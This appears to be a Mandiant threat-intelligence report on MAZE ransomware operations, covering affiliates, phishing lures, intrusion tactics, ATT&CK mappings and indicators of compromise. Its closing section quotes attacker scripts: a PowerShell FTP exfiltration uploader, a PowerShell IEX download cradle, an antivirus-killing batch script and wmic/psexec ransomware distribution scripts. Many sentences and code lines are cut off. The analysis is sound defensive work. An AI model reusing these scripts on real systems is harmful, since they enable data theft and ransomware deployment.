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Threat Intelligence

# Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents

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Mandiant

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Targeted ransomware incidents have brought a threat of disruptive and destructive attacks to organizations across industries and geographies. FireEye [Mandiant Threat Intelligence](#) has previously documented this threat in our investigations of [trends across ransomware incidents](#), [FIN6 activity](#), [implications for OT networks](#), and other aspects of post-compromise ransomware deployment. Since November 2019, we've seen the MAZE ransomware being used in attacks that combine targeted

Malicious actors have been actively deploying MAZE ransomware since at least May 2019. The ransomware was initially distributed via spam emails and exploit kits before later shifting to being deployed post-compromise. Multiple actors are involved in MAZE ransomware operations, based on our observations of alleged users in underground forums and distinct tactics, techniques, and procedures across Mandiant incident response engagements. Actors behind MAZE also maintain a public-facing website where they post data stolen from victims who refuse to pay an extortion fee.


The combination of these two damaging intrusion outcomes—dumping sensitive data and disrupting enterprise networks—with a criminal service makes MAZE a notable threat to many organizations. This blog post is based on information derived from numerous Mandiant incident response engagements and our own research into the MAZE ecosystem and operations.

Mandiant Threat Intelligence will be available to answer questions on the [MAZE ransomware threat in a May 21 webinar](#).

## Victimology

We are aware of more than 100 alleged MAZE victims reported by various media outlets and on the MAZE website since November 2019. These organizations have

industry sector including manufacturing, legal, financial services, construction, healthcare, technology, retail, and government has been impacted demonstrating that indiscriminate nature of these operations (Figure 1).




*Figure 1: Geographical and industry distribution of alleged MAZE victims*

## Multiple Actors Involved in MAZE Ransomware Operations Identified

Mandiant identified multiple Russian-speaking actors who claimed to use MAZE ransomware and were seeking partners to fulfill different functional roles within their teams. Additional information on these actors is available to [Mandiant Intelligence subscribers](#). A panel used to manage victims targeted for MAZE ransomware deployment has a section for affiliate transactions. This activity is consistent with our assessment that MAZE operates under an affiliate model and is not distributed by a single group. Under this business model,

malware. In these scenarios, when a victim pays the ransom demand, the ransomware developers receive a commission. Direct affiliates of MAZE ransomware also partner with other actors who perform specific tasks for a percentage of the ransom payment. This includes partners who provide initial access to organizations and pentesters who are responsible for reconnaissance, privilege escalation and lateral movement—each of which who appear to work on a percentage-basis. Notably, in some cases, actors may be hired on a salary basis (vs commission) to perform specific tasks such as determining the victim organization and its annual revenues. This allows for specialization within the cyber criminal ecosystem, ultimately increasing efficiency, while still allowing all parties involved to profit.



*Figure 2: MAZE ransomware panel*

## MAZE Initially Distributed via Exploit Kits and Spam Campaigns

example, in November 2019, Mandiant observed multiple email campaigns delivering Maze ransomware primarily to individuals at organizations in Germany and the United States, although a significant number of emails were also delivered to entities in Canada, Italy, and South Korea. These emails used tax, invoice, and package delivery themes with document attachments or inline links to documents which download and execute Maze ransomware.

On November 6 and 7, a Maze campaign targeting Germany delivered macro-laden documents using the subject lines “Wichtige Informationen über Steuerrückerstattung” and “1&1 Internet AG - Ihre Rechnung 19340003422 vom 07.11.19” (Figure 3). Recipients included individuals at organizations in a wide range of industries, with the Financial Services, Healthcare, and Manufacturing sectors being targeted most frequently. These emails were sent using a number of malicious domains created with the registrant address `gladkoff1991@yandex.ru`.


---

*Figure 3: German-language lure*

On November 8, a campaign delivered Maze primarily to Financial Services and Insurance organizations located in the United States. These emails originated from a

On November 18 and 19, a Maze campaign targeted individuals operating in a range of industries in the United States and Canada with macro documents using phone bill and package delivery themes (Figure 4 and Figure 5). These emails used the subjects "Missed package delivery" and "Your AT&T wireless bill is ready to view" and were sent using a number of malicious domains with the registrant address abusereceive@hitler.rocks. Notably, this registrant address was also used to create multiple Italian-language domains towards the end of November 2019.

**Your AT&T wireless bill is ready to view**



*Figure 4: AT&T email lure*



*Figure 5: Canada Post email lure*

## Shift to Post-Compromise Distribution Maximizes Impact

Actors using MAZE have increasingly shifted to deploying the ransomware post-compromise. This methodology provides an opportunity to infect more hosts within a victim's environment and exfiltrate data, which is leveraged to apply additional pressure on organizations to pay extortion fees. Notably, in at least some cases, the actors behind these operations charge an additional fee, in addition to the decryption key, for the non-release of stolen data.

there have been notable variations across intrusions that suggest attribution to distinct teams. Even within these teams, the cyber criminals appear to be task-oriented meaning that one operator is not responsible for the full lifecycle. The following sections highlight the TTPs seen in a subset of incidents and serve to illustrate the divergence that may occur due to the fact that numerous, disparate actors are involved in different phases of these operations. Notably, the time between initial compromise to encryption has also been widely varied, from weeks to many months.

### *Initial Compromise*

There are few clear patterns for intrusion vector across analyzed MAZE ransomware incidents. This is consistent with our observations of multiple actors who use MAZE soliciting partners with network access. The following are a sample of observations from several Mandiant incident response engagements:

- A user downloaded a malicious resume-themed Microsoft Word document that contained macros which launched an IcedID payload, which was ultimately used to execute an instance of BEACON.
- An actor logged into an internet-facing system via RDP. The account used to grant initial access was a generic support account. It is unclear how the actor obtained the account's password.



deploy tools to pivot into the internal network.

- An actor logged into a Citrix web portal account with a weak password. This authenticated access enabled the actor to launch a Meterpreter payload on an internal system.

### *Establish Foothold & Maintain Presence*

The use of legitimate credentials and broad distribution of BEACON across victim environments appear to be consistent approaches used by actors to establish their foothold in victim networks and to maintain presence as they look to meet their ultimate objective of deploying MAZE ransomware. Despite these commonplace behaviors, we have observed an actor create their own domain account to enable latter-stage operations.

- Across multiple incidents, threat actors deploying MAZE established a foothold in victim environments by installing BEACON payloads on many servers and workstations.
- Web shells were deployed to an internet-facing system. The system level access granted by these web shells was used to enable initial privilege escalation and the execution of a backdoor.
- Intrusion operators regularly obtained and maintained access to multiple domain and local system accounts with varying permissions that were used throughout their operations.

## *Escalate Privileges*

Although Mandiant has observed multiple cases where MAZE intrusion operators employed Mimikatz to collect credentials to enable privilege escalation, these efforts have also been bolstered in multiple cases via use of Bloodhound, and more manual searches for files containing credentials.

- Less than two weeks after initial access, the actor downloaded and interacted with an archive named *mimi.zip*, which contained files corresponding to the credential harvesting tool Mimikatz. In the following days the same *mimi.zip* archive was identified on two domain controllers in the impacted environment.
- The actor attempted to find files with the word “password” within the environment. Additionally, several archive files were also created with file names suggestive of credential harvesting activity.
- The actor attempted to identify hosts running the KeePass password safe software.
- Across multiple incidents, the Bloodhound utility was used, presumably to assess possible methods of obtaining credentials with domain administrator privileges.
- Actors primarily used Procdump and Mimikatz to collect credentials used to enable later stages of their intrusion. Notably, both Bloodhound and PingCastle were also used, presumably to enable attackers'

responsible actors also attempted to exfiltrate collected credentials to multiple different cloud file storage services.

### *Reconnaissance*

Mandiant has observed a broad range of approaches to network, host, data, and Active Directory reconnaissance across observed MAZE incidents. The varied tools and approaches across these incidents maybe best highlights the divergent ways in which the responsible actors interact with victim networks.

- In some intrusions, reconnaissance activity occurred within three days of gaining initial access to the victim network. The responsible actor executed a large number of reconnaissance scripts via Cobalt Strike to collect network, host, filesystem, and domain related information.
- Multiple built-in Windows commands were used to enable network, account, and host reconnaissance of the impacted environment, though the actors also supplied and used Advanced IP Scanner and Adfind to support this stage of their operations.
- Preliminary network reconnaissance has been conducted using a batch script named '2.bat' which contained a series of nslookup commands. The output of this script was copied into a file named '2.txt'.

environment to an attacker-controlled FTP server via an encoded PowerShell script.

- Over a period of several days, an actor conducted reconnaissance activity using Bloodhound, PowerSploit/PowerView (Invoke-ShareFinder), and a reconnaissance script designed to enumerate directories across internal hosts.
- An actor employed the adfind tool and a batch script to collect information about their network, hosts, domain, and users. The output from this batch script (2adfind.bat) was saved into an archive named 'ad.7z' using an instance of the 7zip archiving utility named 7.exe.
- An actor used the tool *smbtools.exe* to assess whether accounts could login to systems across the environment.
- An actor collected directory listings from file servers across an impacted environment. Evidence of data exfiltration was observed approximately one month later, suggesting that the creation of these directory listings may have been precursor activity, providing the actors with data they may have used to identify sensitive data for future exfiltration.

### *Lateral Movement*

Across the majority of MAZE ransomware incidents lateral movement was accomplished via Cobalt Strike BEACON and using previously harvested credentials. Despite this

- Attackers relied heavily on Cobalt Strike BEACON to move laterally across the impacted environment, though they also tunneled RDP using the ngrok utility, and employed tscon to hijack legitimate rdp sessions to enable both lateral movement and privilege escalation.
- The actor moved laterally throughout some networks leveraging compromised service and user accounts obtained from the system on which they gained their initial foothold. This allowed them to obtain immediate access to additional systems. Stolen credentials were then used to move laterally across the network via RDP and to install BEACON payloads providing the actors with access to nearly one hundred hosts.
- An actor moved laterally using Metasploit and later deployed a Cobalt Strike payload to a system using a local administrator account.
- At least one actor attempted to perform lateral movement using EternalBlue in early and late 2019; however, there is no evidence that these attempts were successful.

### *Complete Mission*

There was evidence suggesting data exfiltration across most analyzed MAZE ransomware incidents. While malicious actors could monetize stolen data in various way (e.g. sale in an underground forum, fraud), actors employing MAZE are known to threaten the release of

- An actor has been observed exfiltrating data to FTP servers using a base64-encoded PowerShell script designed to upload any files with .7z file extensions to a predefined FTP server using a hard-coded username and password. This script appears to be a slight variant of a script first posted to Microsoft TechNet in 2013.
- A different base64-encoded PowerShell command was also used to enable this functionality in a separate incident.
- Actors deploying MAZE ransomware have also used the utility WinSCP to exfiltrate data to an attacker-controlled FTP server.
- An actor has been observed employing a file replication utility and copying the stolen data to a cloud file hosting/sharing service.
- Prior to deploying MAZE ransomware threat actors employed the 7zip utility to archive data from across various corporate file shares. These archives were then exfiltrated to an attacker-controlled server via FTP using the WinSCP utility.

In addition to data theft, actors deploy MAZE ransomware to encrypt files identified on the victim network. Notably, the aforementioned MAZE panel has an option to specify the date on which ransom demands will double, likely to create a sense of urgency to their demands.

binary to 15 hosts within the victim environment and successfully executed it on a portion of these systems.

- Attackers employed batch scripts and a series to txt files containing host names to distribute and execute MAZE ransomware on many servers and workstations across the victim environment.
- An actor deployed MAZE ransomware to tens of hosts, explicitly logging into each system using a domain administrator account created earlier in the intrusion.
- Immediately following the exfiltration of sensitive data, the actors began deployment of MAZE ransomware to hosts across the network. In some cases, thousands of hosts were ultimately encrypted. The encryption process proceeded as follows:
  - A batch script named *start.bat* was used to execute a series of secondary batch scripts with names such as *xaa3x.bat* or *xab3x.bat*.
  - Each of these batch scripts contained a series of commands that employed the copy command, WMIC, and PsExec to copy and execute a kill script (*windows.bat*) and an instance of MAZE ransomware (*sss.exe*) on hosts across the impacted environment
  - Notably, forensic analysis of the impacted environment revealed MAZE deployment scripts

## Implications

Based on our belief that the MAZE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat, particularly in terms of the initial intrusion vector. For more comprehensive recommendations for addressing ransomware, please refer to our [Ransomware Protection and Containment Strategies](#) blog post and the linked white paper.

## Mandiant Security Validation Actions

Organizations can validate their security controls against more than 20 MAZE-specific actions with Mandiant Security Validation. Please see our Headline Release Content Updates – April 21, 2020 on the Mandiant Security Validation Customer Portal for more information.

- A100-877 - Active Directory - BloodHound, CollectionMethod All
- A150-006 - Command and Control - BEACON, Check-in
- A101-030 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #1



- A101-032 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #3
- A100-878 - Command and Control - MAZE Ransomware, C2 Check-in
- A100-887 - Command and Control - MAZE, DNS Query #1
- A100-888 - Command and Control - MAZE, DNS Query #2
- A100-889 - Command and Control - MAZE, DNS Query #3
- A100-890 - Command and Control - MAZE, DNS Query #4
- A100-891 - Command and Control - MAZE, DNS Query #5
- A100-509 - Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Github PoC
- A100-339 - Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Landing Page
- A101-033 - Exploit Kit Activity - Spelevo Exploit Kit, MAZE C2
- A100-208 - FTP-based Exfil/Upload of PII Data (Various Compression)
- A104-488 - Host CLI - Collection, Exfiltration: Active Directory Reconnaissance with SharpHound, CollectionMethod All
- A104-046 - Host CLI - Collection, Exfiltration: Data from Local Drive using PowerShell

- A104-489 - Host CLI - Collection: Privilege Escalation  
Check with PowerUp, Invoke-AllChecks
- A104-037 - Host CLI - Credential Access, Discovery:  
File & Directory Discovery
- A104-052 - Host CLI - Credential Access: Mimikatz
- A104-167 - Host CLI - Credential Access: Mimikatz  
(2.1.1)
- A104-490 - Host CLI - Defense Evasion, Discovery:  
Terminate Processes, Malware Analysis Tools
- A104-491 - Host CLI - Defense Evasion, Persistence:  
MAZE, Create Target.Ink
- A104-500 - Host CLI - Discovery, Defense Evasion:  
Debugger Detection
- A104-492 - Host CLI - Discovery, Execution: Antivirus  
Query with WMI, PowerShell
- A104-374 - Host CLI - Discovery: Enumerate Active  
Directory Forests
- A104-493 - Host CLI - Discovery: Enumerate Network  
Shares
- A104-481 - Host CLI - Discovery: Language Query  
Using PowerShell, Current User
- A104-482 - Host CLI - Discovery: Language Query  
Using reg query
- A104-494 - Host CLI - Discovery: MAZE, Dropping  
Ransomware Note Burn Directory

DECRYPT-FILES.txt Variant

- A104-496 - Host CLI - Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.txt Variant
- A104-027 - Host CLI - Discovery: Process Discovery
- A104-028 - Host CLI - Discovery: Process Discovery with PowerShell
- A104-029 - Host CLI - Discovery: Remote System Discovery
- A104-153 - Host CLI - Discovery: Security Software Identification with Tasklist
- A104-083 - Host CLI - Discovery: System Info
- A104-483 - Host CLI - Exfiltration: PowerShell FTP Upload
- A104-498 - Host CLI - Impact: MAZE, Desktop Wallpaper Ransomware Message
- A104-227 - Host CLI - Initial Access, Lateral Movement: Replication Through Removable Media
- A100-879 - Malicious File Transfer - Adfind.exe, Download
- A150-046 - Malicious File Transfer - BEACON, Download
- A100-880 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp Executable Variant
- A100-881 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp PowerShell Variant

- A101-037 - Malicious File Transfer - MAZE Download, Variant #1
- A101-038 - Malicious File Transfer - MAZE Download, Variant #2
- A101-039 - Malicious File Transfer - MAZE Download, Variant #3
- A101-040 - Malicious File Transfer - MAZE Download, Variant #4
- A101-041 - Malicious File Transfer - MAZE Download, Variant #5
- A101-042 - Malicious File Transfer - MAZE Download, Variant #6
- A101-043 - Malicious File Transfer - MAZE Download, Variant #7
- A101-044 - Malicious File Transfer - MAZE Download, Variant #8
- A101-045 - Malicious File Transfer - MAZE Download, Variant #9
- A101-034 - Malicious File Transfer - MAZE Dropper Download, Variant #1
- A101-035 - Malicious File Transfer - MAZE Dropper Download, Variant #2
- A100-885 - Malicious File Transfer - MAZE Dropper Download, Variant #4
- A101-036 - Malicious File Transfer - MAZE Ransomware, Malicious Macro, PowerShell Script Download

- A100-886 - Malicious File Transfer - Rclone.exe, Download
- A100-484 - Scanning Activity - Nmap smb-enum-shares, SMB Share Enumeration

## Detecting the Techniques

Platform	Signature Name
MVX (covers multiple FireEye technologies)	Bale Detection
	FE_Ransomware_Win_MAZE_1
Endpoint Security	WMIC SHADOWCOPY DELETE (METHODOLOGY)
	MAZE RANSOMWARE (FAMILY)
Network Security	Ransomware.Win.MAZE
	Ransomware.Maze
	Ransomware.Maze

## MITRE ATT&CK Mappings

MAZE ransomware. Future data collection and analysis efforts may reveal additional groups involved in intrusion activity supporting MAZE operations, or may instead allow us to collapse some of these groups into larger clusters. It should also be noted that ‘initial access’ phase techniques have been included in these mappings, though in some cases this access may have been provided by a separate threat actor(s).

## MAZE Group 1 MITRE ATT&CK Mapping

ATT&CK Tactic Category	Techniques
Initial Access	T1133: External Remote Services  T1078: Valid Accounts
Execution	T1059: Command-Line Interface  T1086: PowerShell  T1064: Scripting  T1035: Service Execution

	T1050: New Service
Privilege Escalation	T1078: Valid Accounts
Defense Evasion	T1078: Valid Accounts T1036: Masquerading T1027: Obfuscated Files or Information T1064: Scripting
Credential Access	T1110: Brute Force T1003: Credential Dumping
Discovery	T1087: Account Discovery T1482: Domain Trust Discovery T1083: File and Directory Discovery T1135: Network Share Discovery T1069: Permission Groups Discovery

	T1016: System Network Configuration Discovery
<b>Lateral Movement</b>	T1076: Remote Desktop Protocol  T1105: Remote File Copy
<b>Collection</b>	T1005: Data from Local System
<b>Command and Control</b>	T1043: Commonly Used Port  T1105: Remote File Copy  T1071: Standard Application Layer Protocol
<b>Exfiltration</b>	T1002: Data Compressed  T1048: Exfiltration Over Alternative Protocol
<b>Impact</b>	T1486: Data Encrypted for Impact  T1489: Service Stop



ATT&CK Tactic Category	Techniques
Initial Access	T1193: Spearphishing Attachment
Execution	T1059: Command-Line Interface  T1086: PowerShell  T1085: Rundll32  T1064: Scripting  T1204: User Execution  T1028: Windows Remote Management
Persistence	T1078: Valid Accounts  T1050: New Service  T1136: Create Account
Privilege Escalation	T1078: Valid Accounts  T1050: New Service

<b>Defense Evasion</b>	T1140: Deobfuscate/Decode Files or Information  T1107: File Deletion  T1036: Masquerading
<b>Credential Access</b>	T1003: Credential Dumping  T1081: Credentials in Files  T1171: LLMNR/NBT-NS Poisoning

<b>Discovery</b>	<p>T1482: Domain Trust Discovery</p> <p>T1083: File and Directory Discovery</p> <p>T1135: Network Share Discovery</p> <p>T1069: Permission Groups Discovery</p> <p>T1018: Remote System Discovery</p> <p>T1033: System Owner/User Discovery</p>
<b>Lateral Movement</b>	<p>T1076: Remote Desktop Protocol</p> <p>T1028: Windows Remote Management</p>
<b>Collection</b>	<p>T1074: Data Staged</p> <p>T1005: Data from Local System</p> <p>T1039: Data from Network Shared Drive</p>

Command and Control	T1219: Remote Access Tools  T1105: Remote File Copy  T1071: Standard Application Layer Protocol  T1032: Standard Cryptographic Protocol
Exfiltration	T1020: Automated Exfiltration  T1002: Data Compressed  T1048: Exfiltration Over Alternative Protocol
Impact	T1486: Data Encrypted for Impact

## MAZE Group 3 MITRE ATT&CK Mapping (FIN6)

ATT&CK Tactic Category	Techniques
------------------------	------------

	Initial Access	T1078: Valid Accounts
	Execution	T1059: Command-Line Interface T1086: PowerShell T1064: Scripting T1035: Service Execution
	Persistence	T1078: Valid Accounts T1031: Modify Existing Service
	Privilege Escalation	T1055: Process Injection T1078: Valid Accounts
	Defense Evasion	T1055: Process Injection T1078: Valid Accounts T1116: Code Signing T1089: Disabling Security Tools

	<div>T1112: Modify Registry</div> <div>T1027: Obfuscated Files or Information</div> <div>T1108: Redundant Access</div> <div>T1064: Scripting</div>
Credential Access	<div>T1003: Credential Dumping</div>
Discovery	<div>T1087: Account Discovery</div> <div>T1482: Domain Trust Discovery</div> <div>T1083: File and Directory Discovery</div> <div>T1069: Permission Groups Discovery</div> <div>T1018: Remote System Discovery</div>
Lateral Movement	<div>T1097: Pass the Ticket</div> <div>T1076: Remote Desktop Protocol</div>

	T1077: Windows Admin Shares
Collection	T1074: Data Staged  T1039: Data from Network Shared Drive
Command and Control	T1043: Commonly Used Port  T1219: Remote Access Tools  T1105: Remote File Copy  T1071: Standard Application Layer Protocol  T1032: Standard Cryptographic Protocol
Exfiltration	T1002: Data Compressed
Impact	T1486: Data Encrypted for Impact  T1490: Inhibit System Recovery  T1489: Service Stop

```
function Enum-UsersFolders($PathEnum)
{
    $foldersArr = 'Desktop','Downloads','Docume
    Get-ChildItem -Path $PathEnum'/c$' -ErrorAc
    Get-ChildItem -Path $PathEnum'/c$/Program F
    Get-ChildItem -Path $PathEnum'/c$/Program F
    foreach($Directory in Get-ChildItem -Path $
        foreach($SeachDir in $foldersArr) {
            Get-ChildItem -Path $PathEnum'/c$/U
        }
    }
}
```

PowerShell reconnaissance script used to enumerate directories

```
$Dir="C:/Windows/Temp/"
#ftp server
$ftp = "ftp://<IP Address>/incoming/"
$user = "<username>"
$pass = "<password>"
$webclient = New-Object System.Net.WebClient
$webclient.Credentials = New-Object System.Net.
#list every sql server trace file
foreach($item in (dir $Dir "*.7z")){
    "Uploading $item..."
    $uri = New-Object System.Uri($ftp+$item.Name
```



## Decoded FTP upload PowerShell script

```
powershell -nop -exec bypass IEX (New-Object Ne
```

## Decoded FTP upload PowerShell script

```
[...]
echo 7
echo 7
taskkill /im csrss_tc.exe /f
taskkill /im kwsprod.exe /f
taskkill /im avkwctl.exe /f
taskkill /im rnav.exe /f
taskkill /im crssvc.exe /f
sc config CSAuth start= disabled
taskkill /im vsserv.exe /f
taskkill /im ppmcatedetection.exe /f
[...]
taskkill /im sahookmain.exe /f
taskkill /im mcinfo.exe /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentContr
netsh advfirewall firewall set rule group="remo
c:\windows\temp\sss.exe
```

## Excerpt from windows.bat kill script

```
start copy windows.bat \\<internal IP>\c$\windo
start copy windows.bat \\<internal IP>\c$\windo

start wmic /node:"<internal IP>" /user:"<DOMAIN
start wmic /node:"<internal IP>" /user:"<DOMAIN

start wmic /node:"<internal IP>" /user:"<DOMAIN
start wmic /node:"<internal IP>" /user:"<DOMAIN

start wmic /node:"<internal IP>" /user:"<DOMAIN
start wmic /node:"<internal IP>" /user:"<DOMAIN

start wmic /node:"<internal IP>" /user:"<DOMAIN
start wmic /node:"<internal IP>" /user:"<DOMAIN

start psexec.exe \\<internal IP> -u <DOMAIN\adm
start psexec.exe \\<internal IP> -u <DOMAIN\adm

start psexec.exe \\<internal IP> -u <DOMAIN\adm
start psexec.exe \\<internal IP> -u <DOMAIN\adm
```

Example commands from MAZE distribution scripts

```
@echo off
del done.txt
del offline.txt
rem Loop thru list of computer names in file sp
for /f %i in (%1) do call :check_machine %i
```

```
rem Check to see if machine is up.
ping -n 1 %1|Find "TTL=" >NUL 2>NUL
if errorlevel 1 goto down
echo %1
START cmd /c "copy [Location of MAZE binary] \\
timeout 1 > NUL
echo %1 >> done.txt
rem wmic /node:"%1" process call create "regsvr
START "" cmd /c "wmic /node:"%1" process call c
goto end
:down
    rem Report machine down
    echo %1 >> offline.txt
:end
```

Example MAZE distribution script

## Indicators of Compromise

Maze Payloads	064058cf092063a5b69ed8fd2a1a04fe  Of841c6332c89eaa7cac14c9d5b1d35b  108a298b4ed5b4e77541061f32e55751  11308e450b1f17954f531122a56fae3b
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		27c5ecbb94b84c315d56673a851b6cf9
		2f78ff32cbb3c478865a88276248d419
		335aba8d135cc2e66549080ec9e8c8b7
		3bfcba2dd05e1c75f86c008f4d245f62
		46b98ee908d08f15137e509e5e69db1b
		5774f35d180c0702741a46d98190ff37
		5df79164b6d0661277f11691121b1d53
		658e9deec68cf5d33ee0779f54806cc2
		65cf08ffaf12e47de8cd37098aac5b33
		79d137d91be9819930eeb3876e4fbe79
		8045b3d2d4a6084f14618b028710ce85
		8205a1106ae91d0b0705992d61e84ab2
		83b8d994b989f6cbeea3e1a5d68ca5d8
		868d604146e7e5cb5995934b085846e3
		87239ce48fc8196a5ab66d8562f48f26
		89e1ddb8cc86c710ee068d6c6bf300f4

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		7c13d3cc000d1014703cc2147227c4c
		a0c5b4adbcd9eb6de9d32537b16c423b
		a3a3495ae2fc83479baeaf1878e1ea84
		b02be7a336dcc6635172e0d6ec24c554
		b40a9eda37493425782bda4a3d9dad58
		b4d6cb4e52bb525ebe43349076a240df
		b6786f141148925010122819047d1882
		b93616a1ea4f4a131cc0507e6c789f94
		bd9838d84fd77205011e8b0c2bd711e0
		be537a66d01c67076c8491b05866c894
		bf2e43ff8542e73c1b27291e0df06afd
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	Maze Check-in IPs	<div>91.218.114.11</div> <div>91.218.114.25</div> <div>91.218.114.26</div> <div>91.218.114.31</div> <div>91.218.114.32</div> <div>91.218.114.37</div> <div>91.218.114.38</div> <div>91.218.114.4</div>

		71.210.114.17
		92.63.11.151
		92.63.15.6
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		92.63.17.245
		92.63.194.20
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		92.63.29.137
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	Malicious Documents	<div>1a26c9b6ba40e4e3c3dce12de266ae10</div> <div>53d5bdc6bd7904b44078cf80e239d42b</div>



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	BEACON C2s	<div>173.209.43.61</div> <div>193.36.237.173</div> <div>37.1.213.9</div> <div>37.252.7.142</div> <div>5.199.167.188</div> <div>checksoffice[.]me</div> <div>drivers.updatecenter[.]icu</div> <div>plaintsotherest[.]net</div> <div>thesawmeinrew[.]net</div> <div>updates.updatecenter[.]icu</div>
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Meterpreter C2s	5.199.167.188

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Other Related Files	<p>76f8f28bd51efa03ab992fdb050c8382 (MAZE execution artifact)</p> <p>b5aa49c1bf4179452a85862ade3ef317 (windows.bat kill script)</p> <p>fad3c6914d798e29a3fd8e415f1608f4 (re script)</p>
Tools & Utilities	<p>27304b246c7d5b4e149124d5f93c5b01 (PsExec)</p> <p>42badc1d2f03a8b1e4875740d3d49336 ( 75b55bb34dac9d02740b9ad6b682036C (PsExec)</p> <p>9b02dd2a1a15e94922be3f85129083ac (AdFind)</p> <p>c621a9f931e4ebf37dace74efcce11f2 (SMBTools)</p> <p>f413b4a2242bb60829c9a470eea4dfb6 (winRAR)</p>
Email Sender Domains	<p>att-customer[.]com</p> <p>att-information[.]com</p>


	at-plans[.]com  bezahlen-1und1[.]icu  bzst-info[.]icu  bzst-inform[.]icu  bzstinfo[.]icu  bzstinform[.]icu  canada-post[.]icu  canadapost-delivery[.]icu  canadapost-tracking[.]icu  hilfe-center-1und1[.]icu  hilfe-center-internetag[.]icu  trackweb-canadapost[.]icu
Sender Domain Registrant Addresses	abusereceive@hitler.rocks  gladkoff1991@yandex.ru

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
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
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
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